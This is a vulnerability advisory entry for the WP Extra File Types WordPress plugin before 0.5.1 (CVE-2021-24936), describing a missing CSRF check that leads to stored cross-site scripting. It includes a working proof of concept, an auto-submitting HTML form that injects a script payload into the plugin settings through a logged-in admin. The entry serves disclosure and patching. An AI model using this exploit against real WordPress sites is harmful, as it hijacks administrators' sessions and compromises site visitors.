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WordPress Plugin Vulnerabilities

WP Extra File Types < 0.5.1 - CSRF to Stored Cross-Site Scripting

Description

The plugin does not have CSRF check when saving its settings, nor sanitise and escape some of them, which could allow attackers to make a logged in admin change them and perform Cross-Site Scripting attacks

Proof of Concept

<html>
  <body>
    <form action="http://wp.lab/wordpress/wp-admin/options-general.php?page=wp-extra-file-types-page" id="hack" method="POST">
      <input type="hidden" name="do_save" value="1" />
      <input type="hidden" name="custom_d[a]" value='"' />
      <input type="hidden" name="custom_e[a]" value=");alert(/XSS/);//" />
      <input type="hidden" name="custom_m[a]" value="z" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
  <script>
    var form1 = document.getElementById('hack');
    form1.submit();
</script>
</html>
 

Affects Plugins

wp-extra-file-types
Fixed in version 0.5.1

References

CVE
CVE-2021-24936

Classification

Type

CSRF

OWASP top 10
A2: Broken Authentication and Session Management
CWE
CWE-352

Miscellaneous

Original Researcher

ZhongFu Su(JrXnm) of Wuhan University

Submitter

ZhongFu Su(JrXnm) of Wuhan University

Submitter website
https://blog.szfszf.top
Submitter twitter
JrXnm
Verified

Yes

WPVDB ID
4fb61b84-ff5f-4b4c-a516-54b749f9611e

Timeline

Publicly Published

2021-12-27 (about 1 years ago)

Added

2021-12-27 (about 1 years ago)

Last Updated

2022-09-26 (about 4 months ago)

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